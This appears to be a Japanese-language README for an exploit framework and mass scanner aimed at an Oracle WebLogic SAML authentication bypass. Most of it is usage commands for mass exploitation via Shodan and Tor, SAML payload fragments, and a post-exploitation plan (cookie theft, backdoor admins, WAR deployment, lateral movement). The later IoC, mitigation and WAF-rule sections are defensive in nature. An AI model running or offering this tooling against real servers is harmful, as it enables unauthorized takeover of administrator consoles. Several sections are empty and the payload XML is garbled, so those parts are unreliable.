CVE-2026-60206 - Oracle WebLogic SAML 認証バイパス エクスプロイトフレームワーク/ツールキット

Oracle WebLogic Server — SAML 認証バイパス → 管理者権限の奪取

エクスプロイトフレームワーク & 一括スキャナ
許可されたセキュリティテスト専用です。

⚖️ 法的免責事項と責任ある使用

本ツールは、教育および許可されたペネトレーションテストの目的にのみ提供されます。

著者および貢献者は、本ソフトウェアによって引き起こされた誤用または損害について一切の責任を負いません。ユーザーは、テスト前にターゲット所有者から明示的な書面による許可を得ていることを確認する単独の責任を負います。コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act (CFAA) および世界各国の類似法の下で違法です。

本ソフトウェアを使用することにより、以下に同意したものとみなされます：

• 所有している、またはテストする明示的な許可を得ているシステムでのみ使用すること。
• 適用されるすべての地域、州、連邦法を遵守すること。
• 悪意のある、破壊的な、または違法な活動に使用しないこと。

⚠️ 警告: この脆弱性は実環境で活発に悪用されています。不正使用は重大な法的結果を招く恐れがあります。

[+!] 脆弱性の概要

CVE-2026-60206 は、Oracle WebLogic Server の SAML (Security Assertion Markup Language) 実装における重大な未認証の認証バイパス脆弱性です。これにより、リモートの攻撃者は SAML 認証をバイパスし、有効な認証情報なしで WebLogic コンソールへの管理者アクセスを取得できます。

仕組み：

1. SAML インジェクション: この脆弱性は、SAML アサーションの不適切な検証に起因します。攻撃者は、認証チェックをバイパスする悪意のある SAML レスポンスを作成できます。

2. 署名バイパス: この脆弱性により、XML Signature Wrapping (XSW) 攻撃を通じて XML 署名検証をバイパスできます。攻撃者は正当な署名で悪意のあるアサーションをラップします。

3. NameID の操作: 攻撃者はコメントを注入したり、NameID フィールドを操作して特権ユーザーになりすますことができます。

4. 管理者アクセス: エクスプロイトに成功すると、攻撃者に WebLogic Server コンソールへの完全な制御を伴う管理者アクセスが付与されます。

主要な事実：

🛠️ エクスプロイトフレームワーク

この完全な教育用マルチエクスプロイトは、複数の SAML 攻撃ベクトルを連鎖させて認証バイパスを実現し、一括スキャン、クッキー、管理者アクセスのための高度な機能を備えています。

✨ 機能

攻撃ベクトル

🕵️ 安全な検証ツール (--detect)

安全な検証ツールは、有害なペイロードを実行したりシステムに変更を加えたりすることなく、非侵襲的な脆弱性検出を実行します。

✨ 機能

📦 インストールと要件

前提条件

• Python 3.6+ または Bash 3.2+
• curl (Bash バージョン用)
• pip (requests ライブラリ用、Python バージョン)

依存関係のインストール

# Python version
pip install requests urllib3

# Optional: Shodan support
pip install shodan

# Bash version: curl only (no additional dependencies)

[!NOTE] Bash バージョンは curl のみで動作し、外部依存関係はありません。Python バージョンでは requests と urllib3 が必要です (Shodan 統合にはオプションで shodan)。

🚀 使用例

[1] Python エクスプロイトフレームワーク (exploit.py)

# Single target exploit (combo mode)
python exploit.py -u https://192.168.1.100:7002 --exploit --user admin

# Exploit with all attack vectors
python exploit.py -u https://192.168.1.100:7002 --mode all --exploit -v

# Mass scanning from file (50 threads)
python exploit.py -l targets.txt --exploit -t 50 -o results.json

# Safe detection only (non-intrusive)
python exploit.py -l targets.txt --detect -o scan_results.csv

# Shodan integration
export SHODAN_API_KEY="your_api_key"
python exploit.py --shodan --shodan-query "WebLogic Server port:7002" --exploit

# Tor anonymized scanning
python exploit.py -l targets.txt --exploit --tor -t 20

# Proxy support
python exploit.py -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080

# Streaming JSONL output (memory efficient for large scans)
python exploit.py -l targets.txt --exploit -o results.jsonl

# Quiet mode (minimal output)
python exploit.py -l targets.txt --exploit -q -o results.json

# Custom timeout and retry
python exploit.py -u https://192.168.1.100:7002 --exploit --timeout 20 --retry 5 --delay 2.0

# SSL verification bypass
python exploit.py -u https://192.168.1.100:7002 --exploit --no-verify

# Verbose debugging
python exploit.py -u https://192.168.1.100:7002 --exploit -v

[2] Bash エクスプロイトフレームワーク (exploit.sh)

# Single target exploit
./exploit.sh -u https://192.168.1.100:7002 --exploit --user admin

# Mass scanning
./exploit.sh -l targets.txt --mode all --exploit -o results.json

# Tor anonymized scanning
./exploit.sh -l targets.txt --exploit --tor -t 20

# Shodan integration
export SHODAN_API_KEY="your_api_key"
./exploit.sh --shodan --exploit -o shodan_results.json

# Streaming JSONL output
./exploit.sh -l targets.txt --exploit -o results.jsonl

# Proxy support
./exploit.sh -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080

# SSL verification bypass
./exploit.sh -u https://192.168.1.100:7002 --exploit --no-verify

# Quiet mode
./exploit.sh -l targets.txt --exploit -q -o results.json

# Verbose debugging
./exploit.sh -u https://192.168.1.100:7002 --exploit -v

[3] 基本バリデータ (verifier_poc.sh)

# Single target validation
./verifier_poc.sh -u https://192.168.1.100:7002 --user admin

# Mass validation with report
./verifier_poc.sh -l targets.txt --user admin -o report.txt

# SSL verification bypass
./verifier_poc.sh -u https://192.168.1.100:7002 --no-verify

# Proxy support
./verifier_poc.sh -u https://192.168.1.100:7002 --proxy http://127.0.0.1:8080

🎯 影響を受けるバージョン

⚠️ 重要: この脆弱性は、セルフホスト型の WebLogic Server デプロイメントに影響します。直ちに Oracle CPU 2026年7月を適用してください。

🧠 技術的な詳細

1. SAML 認証バイパス

この脆弱性により、攻撃者は、WebLogic の SAML 実装によって不適切に検証される悪意のある SAML レスポンスを作成することで、SAML 認証をバイパスできます。

脆弱なエンドポイント：

POST /saml2/sp/acs HTTP/1.1
Host: target:7002
Content-Type: application/x-www-form-urlencoded

SAMLResponse=<base64_encoded_malicious_assertion>&RelayState=/

2. 攻撃ベクトル

署名なしアサーション

saml2:Assertion saml2:Subject <saml2:NameID Format="...">admin</saml2:NameID> </saml2:Subject>

</saml2:Assertion>

XML 署名ラッピング (XSW)

ds:Signature <ds:Reference URI="#legit"> </ds:Reference> </ds:Signature>

<saml2:Assertion ID="evil"> saml2:Subjectadmin</saml2:Subject> </saml2:Assertion>

NameID コメント注入

<saml2:NameID Format="...">

</saml2:NameID>

3. ポストエクスプロイテーション

クッキー窃取

エクスプロイトに成功すると JSESSIONID クッキーが取得でき、WebLogic コンソールへの管理者アクセスが付与されます。

セッションハイジャック

窃取したクッキーを使用すると、以下へのアクセスが可能になります：

• WebLogic 管理コンソール
• アプリケーションのデプロイ/アンデプロイ
• JNDI リソースへのアクセス
• JMX を介した任意のコマンド実行

永続化

• 悪意のあるアプリケーションのデプロイ (WAR ファイル)
• バックドア管理者ユーザーの作成
• リモートアクセスツールのインストール

ラテラルムーブメント

• 窃取した認証情報によるネットワーク内の他のサーバーへのアクセス
• WebLogic と他のシステム間の信頼関係の悪用
• 内部ネットワークへのピボット

🔍 侵害の痕跡 (IoC)

ログ分析

WebLogic ログで以下を検索してください：

• access.log – 異常な SAML パラメータを含む /saml2/sp/acs、/saml2/acs へのリクエスト
• domain.log – 無効な SAML アサーションによる認証バイパスの試行
• diagnostic.log – SAML 解析エラーまたは署名検証の失敗

不審なリクエスト

• 以下を含む SAMLResponse パラメータ：
  • 複数の <saml2:Assertion> タグ
  • <saml2:NameID> フィールド内のコメント
  • 署名なしアサーション
  • Base64 エンコードされた悪意のある XML
  • パラメータ内の javascript: または eval()

ファイル

• WebLogic の一時ディレクトリ内の予期しないセッションファイル
• 変更された設定ファイル (config.xml、jps-config.xml)
• autodeploy ディレクトリ内の新しい WAR ファイル
• 変更された weblogic.security ファイル

ネットワーク

• WebLogic コンソールへの不正な管理接続
• SAML エンドポイントを標的とした異常なポートスキャン
• WebLogic サーバーから未知の IP への外部接続
• 異常なポートでのリバースシェル接続

プロセス

• 予期しない Java プロセス
• WebLogic から生成されたシェルプロセス
• WebLogic ユーザーから外部ホストへのネットワーク接続

🛡️ 緩和策と是正対応

即時対応

1. Oracle CPU 2026年7月を直ちに適用する
2. 積極的に使用していない場合は SAML を無効化 する
3. 不審な活動がないか SAML エンドポイントを監視 する
4. エクスプロイトの試行がないか アクセスログを確認 する
5. 影響を受けるシステムで すべての認証情報をローテーション する

長期的な対応

1. 悪意のある SAML リクエストをブロックする WAF ルールを実装 する
2. 厳格モードで SAML 署名検証を有効化 する
3. WebLogic 設定の 定期的なセキュリティ監査
4. WebLogic の露出を制限する ネットワークセグメンテーション
5. WebLogic イベントの SIEM 監視を実装 する

WAF ルール

# Block SAML requests with multiple assertions
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10001,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - Multiple SAML Assertions',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:Assertion>.*<saml2:Assertion>.*"

# Block SAML requests with comments in NameID
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10002,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - NameID Comments',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:NameID.*<!--.*-->.*"

# Block unsigned SAML assertions
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10003,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - Unsigned Assertion',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:Assertion>.*(?!<ds:Signature>).*"

📚 参考情報

• NVD - CVE-2026-60206
• Oracle Critical Patch Update 勧告 - 2026年7月
• CISA KEV カタログ
• SecurityFocus - CVE-2026-60206
• The Hacker News - WebLogic ゼロデイ悪用

🔗 その他のエクスプロイト

• CVE-2026-15409/15410 - SonicWall SMA1000 マルチエクスプロイトフレームワーク
• CVE-2026-6875 - ServiceNow Pre-Auth RCE エクスプロイトフレームワーク
• CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
• CVE-2026-57821 - Apache Fineract SQL インジェクションツールキット
• CVE-2026-41940 - cPanel/WHM 認証バイパス